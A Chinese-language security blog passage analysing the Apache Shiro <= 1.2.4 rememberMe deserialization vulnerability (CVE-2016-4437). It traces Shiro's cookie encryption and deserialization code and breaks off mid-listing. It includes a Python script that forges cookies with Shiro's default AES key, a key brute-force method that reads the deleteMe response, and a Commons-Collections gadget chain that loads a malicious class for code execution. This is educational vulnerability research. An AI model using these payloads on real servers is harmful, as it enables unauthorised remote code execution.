简介

shiro是一个强大的java安全框架,用于身份认证,授权,密码和会话管理。

漏洞编号:

CVE-2016-4437

使用工具

IDEA 2022.1.2

漏洞版本

Apache Shiro <= 1.2.4

环境搭建

首先是下载对应版本
https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
然后解压,idea在samplesweb下打开项目。
然后修改maven依赖,修改为1.2
image.png
顺便添加一下CC依赖,用于后期触发CC链RCE

<dependency>
  <groupId>org.apache.commons</groupId>
  <artifactId>commons-collections4</artifactId>
  <version>4.0</version>
</dependency>

然后配置一下tomcat就好了。

漏洞简介

在低于Apache Shiro <= 1.2.4的版本中,识别身份的时候,有一个rememberMe的字段,在shiro<=1.2.4版本中,当获取用户请求的时候,就会获取rememberMe字段的值,然后base64解密。AES解密,然后调用readObject进行反序列化,那么如果AES密钥为默认密钥或者容易被破解,那么就可以随意加密解密,那么就会导致触发反序列化漏洞完成任意代码执行。

正式分析

因为这个漏洞比较简单,所以我们就直接开始分析。
第一次复现这种有点web层面的漏洞,尽管之前学过web开发(学了但是没有完全学),还是有些迷茫。
因为这个漏洞出现在Cookie相关的地方,且cookie名称又叫做rememberMe,所以
还是找相关类。找到了这个类CookieRememberMeManager,它继承了一个抽象类,AbstractRememberMeManager。
AbstractRememberMeManager中定义了一个密钥,如果开发者不修改此密钥可能就会导致反序列化漏洞。
image.png

加密过程

shiro的登录过程
image.png
我们直接到SecurityManager.login开始,
SecurityManager是一个interface接口,我找到了他的实现。
DefaultSecurityManager.login

public Subject login(Subject subject, AuthenticationToken token) throws AuthenticationException {
    AuthenticationInfo info;
    try {
        info = authenticate(token);
    } catch (AuthenticationException ae) {
        try {
            onFailedLogin(token, ae, subject);
        } catch (Exception e) {
            if (log.isInfoEnabled()) {
                log.info("onFailedLogin method threw an " +
                         "exception.  Logging and propagating original AuthenticationException.", e);
            }
        }
        throw ae; //propagate
    }

    Subject loggedIn = createSubject(token, info, subject);

    onSuccessfulLogin(token, info, loggedIn);

    return loggedIn;
}

发现调用了onSuccessfulLogin,打断点,跟进onSuccessfulLogin
DefaultSecurityManager.onSuccessfulLogin

protected void onSuccessfulLogin(AuthenticationToken token, AuthenticationInfo info, Subject subject) {
    rememberMeSuccessfulLogin(token, info, subject);
}

在里面调用了rememberMeSuccessfulLogin,跟进rememberMeSuccessfulLogin

protected void rememberMeSuccessfulLogin(AuthenticationToken token, AuthenticationInfo info, Subject subject) {
    RememberMeManager rmm = getRememberMeManager();
    if (rmm != null) {
        try {
            rmm.onSuccessfulLogin(subject, token, info);
        } catch (Exception e) {
            if (log.isWarnEnabled()) {
                String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() +
                    "] threw an exception during onSuccessfulLogin.  RememberMe services will not be " +
                    "performed for account [" + info + "].";
                log.warn(msg, e);
            }
        }
    } else {
        if (log.isTraceEnabled()) {
            log.trace("This " + getClass().getName() + " instance does not have a " +
                      "[" + RememberMeManager.class.getName() + "] instance configured.  RememberMe services " +
                      "will not be performed for account [" + info + "].");
        }
    }
}

调用了 rmm.onSuccessfulLogin,其实是调用到了RememberMeManager的实现类
AbstractRememberMeManager.onSuccessfulLogin

public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
    //always clear any previous identity:
    forgetIdentity(subject);

    //now save the new identity:
    if (isRememberMe(token)) {
        rememberIdentity(subject, token, info);
    } else {
        if (log.isDebugEnabled()) {
            log.debug("AuthenticationToken did not indicate RememberMe is requested.  " +
                      "RememberMe functionality will not be executed for corresponding account.");
        }
    }
}

看到isRememberMe(token),不用跟进也可以知道如果设置了rememberme,那么就调用rememberIdentity(subject, token, info);
跟进rememberIdentity
AbstractRememberMeManager.rememberIdentity

public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
    PrincipalCollection principals = getIdentityToRemember(subject, authcInfo);
    rememberIdentity(subject, principals);
}

继续跟进另外一个rememberIdentity
AbstractRememberMeManager.rememberIdentity

protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
    byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
    rememberSerializedIdentity(subject, bytes);
}

调用了convertPrincipalsToBytes
AbstractRememberMeManager.convertPrincipalsToBytes

protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
    byte[] bytes = serialize(principals);
if (getCipherService() != null) {
    bytes = encrypt(bytes);
}
return bytes;
}

先对principals进行序列化,然后对其加密。(cipherService就是一个类似于指定加密方式)
在构造方法中定义。
image.png
image.png
跟进encrypt
将获取到的序列化数据存入value,然后获取“加密方式”
使用加密器的encrypt,前者就是序列化数据,跟进后者.
其实也可以知道这是一个获取key的一个方法。跟进看看

protected byte[] encrypt(byte[] serialized) {
    byte[] value = serialized;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
        value = byteSource.getBytes();
    }
    return value;
}

AbstractRememberMeManager.getEncryptionCipherKey


public byte[] getEncryptionCipherKey() {
    return encryptionCipherKey;
}

它直接就返回encryptionCipherKey了。那么我们要知道这是在哪儿设置的。
有一个setEncryptionCipherKey

public void setEncryptionCipherKey(byte[] encryptionCipherKey) {
    this.encryptionCipherKey = encryptionCipherKey;
}

在setCipherKey中有调用

public void setCipherKey(byte[] cipherKey) {
    //Since this method should only be used in symmetric ciphers
    //(where the enc and dec keys are the same), set it on both:
    setEncryptionCipherKey(cipherKey);
    setDecryptionCipherKey(cipherKey);
}

在构造方法中有调用setCipherKey

public AbstractRememberMeManager() {
    this.serializer = new DefaultSerializer<PrincipalCollection>();
    this.cipherService = new AesCipherService();
    setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

DEFAULT_CIPHER_KEY_BYTES就是硬编码的key.
回到AbstractRememberMeManager.encrypt

protected byte[] encrypt(byte[] serialized) {
    byte[] value = serialized;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
        value = byteSource.getBytes();
    }
    return value;
}

然后到了cipherService的实现类JcaCipherService.encrypt
iv值的定义就在这

public ByteSource encrypt(byte[] plaintext, byte[] key) {
    byte[] ivBytes = null;
    boolean generate = isGenerateInitializationVectors(false);
    if (generate) {
        ivBytes = generateInitializationVector(false);
        if (ivBytes == null || ivBytes.length == 0) {
            throw new IllegalStateException("Initialization vector generation is enabled - generated vector" +
                                            "cannot be null or empty.");
        }
    }
    return encrypt(plaintext, key, ivBytes, generate);
}

跟进JcaCipherService.generateInitializationVector

protected byte[] generateInitializationVector(boolean streaming) {
    int size = getInitializationVectorSize();
int sizeInBytes = size / BITS_PER_BYTE;
byte[] ivBytes = new byte[sizeInBytes];
SecureRandom random = ensureSecureRandom();
random.nextBytes(ivBytes);
return ivBytes;
}

这里的iv确实是随机生成的。

private ByteSource encrypt(byte[] plaintext, byte[] key, byte[] iv, boolean prependIv) throws CryptoException {

    final int MODE = javax.crypto.Cipher.ENCRYPT_MODE;

    byte[] output;

    if (prependIv && iv != null && iv.length > 0) {

        byte[] encrypted = crypt(plaintext, key, iv, MODE);

        output = new byte[iv.length + encrypted.length];

        //now copy the iv bytes + encrypted bytes into one output array:

        // iv bytes:
        System.arraycopy(iv, 0, output, 0, iv.length);

        // + encrypted bytes:
        System.arraycopy(encrypted, 0, output, iv.length, encrypted.length);
    } else {
        output = crypt(plaintext, key, iv, MODE);
    }

    if (log.isTraceEnabled()) {
        log.trace("Incoming plaintext of size " + (plaintext != null ? plaintext.length : 0) + ".  Ciphertext " +
                  "byte array is size " + (output != null ? output.length : 0));
    }

    return ByteSource.Util.bytes(output);
}

从上面的JcaCipherService.encrypt拿到相关的plaintext key,iv preendIv(为true)
byte[] encrypted = crypt(plaintext, key, iv, MODE); //生成密文。
output就是iv的长度+这个密文的长度一个字节数组.(也就是密文的长度)
看到这句话我悟了
"now copy the iv bytes + encrypted bytes into one output array:"
System.arraycopy的作用就是将iv值和加密后的值放在一起。
也就是说,解密的时候可能调用的就是我们加密后的密文的前16位作为iv值,那么iv值可不就是可控了嘛
回到AbstractRememberMeManager.rememberIdentity

protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
    byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
    rememberSerializedIdentity(subject, bytes);
}

我们刚才跟进的是convertPrincipalsToBytes,现在从convertPrincipalsToBytes出来之后,进入到rememberSerializedIdentity
这是一个抽象方法,他有一个唯一实现。

protected abstract void rememberSerializedIdentity(Subject subject, byte[] serialized);

CookieRememberMeManager.rememberSerializedIdentity

protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {

    if (!WebUtils.isHttp(subject)) {
        if (log.isDebugEnabled()) {
            String msg = "Subject argument is not an HTTP-aware instance.  This is required to obtain a servlet " +
                "request and response in order to set the rememberMe cookie. Returning immediately and " +
                "ignoring rememberMe operation.";
            log.debug(msg);
        }
        return;
    }


    HttpServletRequest request = WebUtils.getHttpRequest(subject);
    HttpServletResponse response = WebUtils.getHttpResponse(subject);

    //base 64 encode it and store as a cookie:
    String base64 = Base64.encodeToString(serialized);

    Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
    Cookie cookie = new SimpleCookie(template);
    cookie.setValue(base64);
    cookie.saveTo(request, response);
}

这边就将加密后的数据存入cookie的过程。

解密过程

我们之前发现加密的时候用的是JcaCipherService.encrypt,正好这个类也有一个解密的过程
JcaCipherService.decrypt

public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {

    byte[] encrypted = ciphertext;

    //No IV, check if we need to read the IV from the stream:
    byte[] iv = null;

    if (isGenerateInitializationVectors(false)) {
        try {
            //We are generating IVs, so the ciphertext argument array is not actually 100% cipher text.  Instead, it
            //is:
            // - the first N bytes is the initialization vector, where N equals the value of the
            // 'initializationVectorSize' attribute.
            // - the remaining bytes in the method argument (arg.length - N) is the real cipher text.

            //So we need to chunk the method argument into its constituent parts to find the IV and then use
            //the IV to decrypt the real ciphertext:

            int ivSize = getInitializationVectorSize();
            int ivByteSize = ivSize / BITS_PER_BYTE;

            //now we know how large the iv is, so extract the iv bytes:
            iv = new byte[ivByteSize];
            System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);

            //remaining data is the actual encrypted ciphertext.  Isolate it:
            int encryptedSize = ciphertext.length - ivByteSize;
            encrypted = new byte[encryptedSize];
            System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
        } catch (Exception e) {
            String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
            throw new CryptoException(msg, e);
        }
    }

    return decrypt(encrypted, key, iv);
}

这个方法将密文和iv拆分开来,key是传递进去的。
然后传到下一个decrypt.

private ByteSource decrypt(byte[] ciphertext, byte[] key, byte[] iv) throws CryptoException {
    if (log.isTraceEnabled()) {
        log.trace("Attempting to decrypt incoming byte array of length " +
                  (ciphertext != null ? ciphertext.length : 0));
    }
    byte[] decrypted = crypt(ciphertext, key, iv, javax.crypto.Cipher.DECRYPT_MODE);
    return decrypted == null ? null : ByteSource.Util.bytes(decrypted);
}

我们往前推,找到AbstractRememberMeManager.decrypt
这里主要就是一个解密的过程,我们继续往前推

protected byte[] decrypt(byte[] encrypted) {
    byte[] serialized = encrypted;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
        serialized = byteSource.getBytes();
    }
    return serialized;
}

发现在AbstractRememberMeManager.convertBytesToPrincipals有调用。

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (getCipherService() != null) {
        bytes = decrypt(bytes);
    }
    return deserialize(bytes);
}

他先进行了解密,然后返回一个反序列化后的值,我们刚从decrypt出来,那么我们就往后推deserialize

protected PrincipalCollection deserialize(byte[] serializedIdentity) {
    return getSerializer().deserialize(serializedIdentity);
}

最后找到这个方法

public T deserialize(byte[] serialized) throws SerializationException {
    if (serialized == null) {
        String msg = "argument cannot be null.";
        throw new IllegalArgumentException(msg);
    }
    ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
    BufferedInputStream bis = new BufferedInputStream(bais);
    try {
        ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
        @SuppressWarnings({"unchecked"})
            T deserialized = (T) ois.readObject();
        ois.close();
        return deserialized;
    } catch (Exception e) {
        String msg = "Unable to deserialze argument byte array.";
        throw new SerializationException(msg, e);
    }
}

其实就是进行了一个反序列化的操作。那么现在就可以写脚本了。

# -*- coding=utf-8-*-
import uuid

from Crypto.Cipher import AES
import os
from Crypto import Random
import base64
def get_file_data(filename):
    with open(filename,"rb") as f:
        data=f.read()
    return data

def aes_enc(data):
    BS=AES.block_size
    pad=lambda  s:s + ((BS-len(s)%BS) * chr
                       (BS-len(s)%BS)).encode()
    key="kPH+bIxk5D2deZiIxcaaaA=="
    mode=AES.MODE_CBC
    iv=uuid.uuid4().bytes
    encrytor=AES.new(base64.b64decode(key),mode,iv)
    ciphertext=base64.b64encode(iv+encrytor.encrypt(pad(data)))
    return ciphertext
data=get_file_data("ser.bin")
print(aes_enc(data))

我们来考虑几个问题

1.如何判断是shiro框架

其实这个问题还是比较简单的。就是看看登录的时候在回应包里有没有rememberMe=deleteMe;
image.png
或者在cookie里自主添加rememberme
image.png
还是要具体情况具体分析。

2.实战中我们如何判断key

这个问题还是比较关键的。毕竟没有key,你也没有办法进行反序列化漏洞利用。
1.使用URLDNS链,使用不同的key,什么时候接收到请求了。那个就是正确的key,这个方式不易操作。
2.还有说用延时的,又慢又麻烦,有没有简单快捷的方法,有!
我们使用shiro自带的类。
AbstractRememberMeManager.convertBytesToPrincipals

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (getCipherService() != null) {
        bytes = decrypt(bytes);
    }
    return deserialize(bytes);
}

先跟进decrypt。

    protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = getCipherService();
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;
    }

找到此处JcaCipherService.crypt
我们故意用错误的key,到此的时候他就抛异常了。

private byte[] crypt(javax.crypto.Cipher cipher, byte[] bytes) throws CryptoException {
        try {
            return cipher.doFinal(bytes);
        } catch (Exception e) {
            String msg = "Unable to execute 'doFinal' with cipher instance [" + cipher + "].";
            throw new CryptoException(msg, e);
        }
    }

返回到前面调用convertBytesToPrincipals(AbstractRememberMeManager.getRememberedPrincipals)的地方,当密钥错误的时候,他会抛出异常,去调用onRememberedPrincipalFailure

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
    PrincipalCollection principals = null;
try {
    byte[] bytes = getRememberedSerializedIdentity(subjectContext);
    //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
    if (bytes != null && bytes.length > 0) {
        principals = convertBytesToPrincipals(bytes, subjectContext);
    }
} catch (RuntimeException re) {
    principals = onRememberedPrincipalFailure(re, subjectContext);
}

return principals;
}

跟进AbstractRememberMeManager.onRememberedPrincipalFailure

protected PrincipalCollection onRememberedPrincipalFailure(RuntimeException e, SubjectContext context) {
    if (log.isDebugEnabled()) {
        log.debug("There was a failure while trying to retrieve remembered principals.  This could be due to a " +
                  "configuration problem or corrupted principals.  This could also be due to a recently " +
                  "changed encryption key.  The remembered identity will be forgotten and not used for this " +
                  "request.", e);
    }
    forgetIdentity(context);
    //propagate - security manager implementation will handle and warn appropriately
    throw e;
}

跟进RememberMeManager.forgetIdentity他的实现在CookieRememberMeManager.forgetIdentity

protected void forgetIdentity(Subject subject) {
    if (WebUtils.isHttp(subject)) {
    HttpServletRequest request = WebUtils.getHttpRequest(subject);
    HttpServletResponse response = WebUtils.getHttpResponse(subject);
    forgetIdentity(request, response);
}
}

继续跟进他的另外一个重载方法。

private void forgetIdentity(HttpServletRequest request, HttpServletResponse response) {
    getCookie().removeFrom(request, response);
}

调用了Cookie.removeFrom,他的实现类在于SimpleCookie.removeFrom

public void removeFrom(HttpServletRequest request, HttpServletResponse response) {
    String name = getName();
    String value = DELETED_COOKIE_VALUE;
    String comment = null; //don't need to add extra size to the response - comments are irrelevant for deletions
    String domain = getDomain();
    String path = calculatePath(request);
    int maxAge = 0; //always zero for deletion
    int version = getVersion();
    boolean secure = isSecure();
    boolean httpOnly = false; //no need to add the extra text, plus the value 'deleteMe' is not sensitive at all

    addCookieHeader(response, name, value, comment, domain, path, maxAge, version, secure, httpOnly);

    log.trace("Removed '{}' cookie by setting maxAge=0", name);
}

DELETED_COOKIE_VALUE这个常量对应的就是deleteMe。
他会将我们的cookie设置成deleteMe,反之则不会有deleteMe.
但是我发现,我们在用正确密钥的CC2链子且已经利用成功的情况下,返回包里也会带rememberMe=deleteMe;
image.png
也是说,除了key正确的情况下,还有其他情况也会导致回显rememberme
找一下抛出异常的地方
Unable to deserialze argument byte array.
找到抛出异常的地方

public T deserialize(byte[] serialized) throws SerializationException {
    if (serialized == null) {
        String msg = "argument cannot be null.";
        throw new IllegalArgumentException(msg);
    }
    ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
    BufferedInputStream bis = new BufferedInputStream(bais);
    try {
        ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
        @SuppressWarnings({"unchecked"})
            T deserialized = (T) ois.readObject();
        ois.close();
        return deserialized;
    } catch (Exception e) {
        String msg = "Unable to deserialze argument byte array.";
        throw new SerializationException(msg, e);
    }
}

T deserialized = (T) ois.readObject();发现在readOBject的时候有一个强转。
往前跟,发现是将其强转为了PrincipalCollection,导致的异常。会导致异常的抛出

protected PrincipalCollection deserialize(byte[] serializedIdentity) {
    return getSerializer().deserialize(serializedIdentity);
}

那么现在就可以知道了,我们需要满足key正确,且反序列化返回的值是继承于PrincipalCollection,或者就是他本类,就可让其不返回rememberme=deleteme。
PrincipalCollection是一个接口类。且他支持序列化,也就是说我们可以实现他的一个实现类,并对其进行序列化,使用正确的key对其进行加密,就可不返回rememberme,就可实现方便的key爆破

import org.apache.shiro.subject.SimplePrincipalCollection;

import java.io.*;

public class TestMain{
    public static void main(String[] args) throws IOException {
        SimplePrincipalCollection simplePrincipalCollection=new SimplePrincipalCollection();
        serialize(simplePrincipalCollection);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }
}

反序列化后使用我们的加密脚本对其进行加密生成payload。
如果是正确的key就不会存在rememberme。

3.为什么有些链打不进去(除去版本问题)

打一下CC4的链子,找一下问题。
看到报错
Caused by: org.apache.shiro.util.UnknownClassException: Unable to load class named [[Lorg.apache.commons.collections4.Transformer;] from the thread context, current, or system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.
明显是没有找到Transformer这个类且是数组类。我去翻了一下y4大佬的文章(shiro550的误区)以及p牛的java安全漫谈(Java安全漫谈 - 15.TemplatesImpl在Shiro中的利用)以及https://blog.zsxsoft.com/post/35

resolveClass是ObjectInpurStream.readObject()中必经的一个方法,也就是说在反序列化的时候他就会调用。对应的Class对象是在resolveClass中返回。(其实还有一个功能,其实可以重写resolveClass然后在里面添加一个类的黑名单,发现类在黑名单中就抛出错)【括号内的内容与我们下面的分析没有关系,只是提一嘴。】
回归正题。
我们看反序列化的点。

public T deserialize(byte[] serialized) throws SerializationException {
    if (serialized == null) {
        String msg = "argument cannot be null.";
        throw new IllegalArgumentException(msg);
    }
    ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
    BufferedInputStream bis = new BufferedInputStream(bais);
    try {
        ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
        @SuppressWarnings({"unchecked"})
            T deserialized = (T) ois.readObject();
        ois.close();
        return deserialized;
    } catch (Exception e) {
        String msg = "Unable to deserialze argument byte array.";
        throw new SerializationException(msg, e);
    }
}

它使用的是他自己的ClassResolvingObjectInputStream,并非原版的ObjectInputStream。
他重写了resolveClass,对比一下。

protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
    try {
        return ClassUtils.forName(osc.getName());
    } catch (UnknownClassException e) {
        throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);
    }
}
protected Class<?> resolveClass(ObjectStreamClass desc)
    throws IOException, ClassNotFoundException
{
    String name = desc.getName();
    try {
        return Class.forName(name, false, latestUserDefinedLoader());
    } catch (ClassNotFoundException ex) {
        Class<?> cl = primClasses.get(name);
        if (cl != null) {
            return cl;
        } else {
            throw ex;
        }
    }
}

重写后的resolveClass调用的是shiro自己写的ClassUtils
我们跟进查看

public static Class forName(String fqcn) throws UnknownClassException {

    Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);

    if (clazz == null) {
        if (log.isTraceEnabled()) {
            log.trace("Unable to load class named [" + fqcn +
                      "] from the thread context ClassLoader.  Trying the current ClassLoader...");
        }
        clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
    }

    if (clazz == null) {
        if (log.isTraceEnabled()) {
            log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader.  " +
                      "Trying the system/application ClassLoader...");
        }
        clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
    }

    if (clazz == null) {
        String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " +
            "system/application ClassLoaders.  All heuristics have been exhausted.  Class could not be found.";
        throw new UnknownClassException(msg);
    }

    return clazz;
}

用不同的类加载器都去加载一遍。主要为俩加载器,先调用线程上下文类加载器。然后调用appclassloader。
我们跟进THREAD_CL_ACCESSOR.loadClass(fqcn);
loadClass的调用的是org.apache.catalina.loader.ParallelWebappClassLoader.loadClass
ParallelWebappClassLoader是tomcat的类加载器。
image.png
ParallelWebappClassLoader本身没有这个方法,但是父类WebappClassLoaderBase中实现了这个方法。
他又去调用另外一个loadClass
image.png
image.png这边其实还是调用了ExtClassLoader
image.png
ExtClassLoader自己也没有实现loadClass。所以用的是父类URLClassLoader,
loadClass判断是否已经加载,会去请求父类加载器,都为空,那么就会使用findClass
findClass会去加载.class字节码,然后给defineclass去加载。
实际上URLClassLoader的loadClass的super.loadClass其实调用的是ClassLoader的loadClass
image.png
我们来看ClassLoader的loadClass

protected Class<?> loadClass(String name, boolean resolve)
    throws ClassNotFoundException
{
    synchronized (getClassLoadingLock(name)) {
        // First, check if the class has already been loaded
        Class<?> c = findLoadedClass(name);
        if (c == null) {
            long t0 = System.nanoTime();
            try {
                if (parent != null) {
                    c = parent.loadClass(name, false);
                } else {
                    c = findBootstrapClassOrNull(name);
                }
            } catch (ClassNotFoundException e) {
                // ClassNotFoundException thrown if class not found
                // from the non-null parent class loader
            }

            if (c == null) {
                // If still not found, then invoke findClass in order
                // to find the class.
                long t1 = System.nanoTime();
                c = findClass(name);

                // this is the defining class loader; record the stats
                sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                sun.misc.PerfCounter.getFindClasses().increment();
            }
        }
        if (resolve) {
            resolveClass(c);
        }
        return c;
    }
}

调用的findClass,我们来看URLClassLoader.findClass
当我们去加载数组类的时候,他这边的数组类变成了这个样子image.png
因为上面调用不到数组类,然后继续往下走。appClassLoader加载不到CC依赖下的类,因为tomcat启动的时候用的是自己的classpath,而自己的classpath中并没有包含CC依赖中的类,而是他自己设置的catalina.sh中的classpath。

4.如何构造链子

我们之前是为了复现shiro反序列化,才装的CC4,但其实shiro编译后并不带CC依赖。在和一些其他的项目共同使用的时候,可能会带。
也就是说我们要构造没有数组类的CC链。主要学习一下K1 K2 CB以及CB无CC链
我们现在想要用CC链,就必须避开Runtime.exec,如果使用Runtime.exec那么必定要多个InvokerTransformer建成数组后进行“套娃调用”。所以我们最终还是走到字节码那条路上。
其实构造的方式还挺多的。
这边我们主要分为三种情况。(CC3依赖,CC4依赖,无CC依赖)

1.有CC依赖

CCK1更像是之前复现过的几条CC链的缝合状态,因为与前面讲过的CC链有高度重复,所以白日梦组长师傅并没有过多的去讲解,这里我作为一位CC链的初学者,对CC链还有一些疑问和不熟悉,所以我选择再去跟一遍。
先看一下白日梦组长师傅的payload

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.awt.*;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CCK12 {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates=new TemplatesImpl();
        Class tc=templates.getClass();
        Field fn=tc.getDeclaredField("_name");
        fn.setAccessible(true);
        fn.set(templates,"aaaa");
        Field fb=tc.getDeclaredField("_bytecodes");
        fb.setAccessible(true);
        byte[] code=Files.readAllBytes(Paths.get("C:\\Users\\21112\\Desktop\\java\\CC1\\target\\test-classes\\evil.class"));
        byte[][] codes={code};
        fb.set(templates,codes);
        InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);
        HashMap map=new HashMap<>();
        Map<Object,Object> lazymap= LazyMap.decorate(map,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,templates);
        HashMap<Object,Object> map2=new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        lazymap.remove(templates);
        Class c=LazyMap.class;
        Field ff=c.getDeclaredField("factory");
        ff.setAccessible(true);
        ff.set(lazymap,invokerTransformer);
        serialize(map2);


    }
}

其实最后调用的是TemplatesImpl.newTransformer去加载字节码去调用我们恶意类的static代码块,然后导致代码执行。
那么正式开始
最上面,我么是定义了一个恶意字节码,然后通过TemplatesImpl.newTransformer去实例化,然后弹计算器。
这时候我们的代码。

public class CCK1Test {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates=new TemplatesImpl();
        Class tc=templates.getClass();
        Field tn=tc.getDeclaredField("_name");
        tn.setAccessible(true);
        tn.set(templates,"aaaa");
        Field tbytecode=tc.getDeclaredField("_bytecodes");
        tbytecode.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\21112\\Desktop\\java\\CC1\\target\\test-classes\\evil.class"));
        byte[][] codes={code};
        tbytecode.set(templates,codes);
        templates.newTransformer();
    }
}

当然如果前面分析过CC3链,我们就知道这代码肯定会报错,因为_tfactory会报空指针错误,但是我们并不需要在后续过程给他添加,因为TemplatesImpl的readObject会给他new一个类。
image.png
这里不多说,继续往下走。
接下来就是如何触发newTransformer.
CC2中我们使用InvokerTransformer去反射调用newTransformer。
这时候我们的代码就这样写。

public class CCK1Test {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates=new TemplatesImpl();
        Class tc=templates.getClass();
        Field tn=tc.getDeclaredField("_name");
        tn.setAccessible(true);
        tn.set(templates,"aaaa");
        Field tbytecode=tc.getDeclaredField("_bytecodes");
        tbytecode.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\21112\\Desktop\\java\\CC1\\target\\test-classes\\evil.class"));
        byte[][] codes={code};
        tbytecode.set(templates,codes);
        InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);
    }
}

但是在CC3版本中TransformingComparator不可序列化,所以我们现在就要想着如何给InvokerTransformer.transform传值,让其能指向TemplatesImpl。
如果原本有ChainedTransformer.transform的调用的话,我们并不需要管InvokerTransformer.transform()中的值是否可控,我们可以直接使用ConstantTransformer.transform给他传对象。
因为现在我们没有上述条件,所以我们需要一个“理想环境”,可指定transform的对象,且transform中的值可控。
这个方法就是Lazymap.get

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
    Object value = factory.transform(key);
    map.put(key, value);
    return value;
}
return map.get(key);
}

往后分析。(这部分有点类似于CC6中的hashmap链)
在CC6中我们往TiedMapEntry的构造方法中传递一个Lazymap,通过getValue去调用Lazymap.get的get方法。正好在hashcode中有对getValue的调用。

public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}
    public Object getValue() {
        return map.get(key);
    }
    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

然后我们就要找能对TiedMapEntry.hashCode调用的点。
正好在Hashmap.readObject中有一个对key的hash。

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
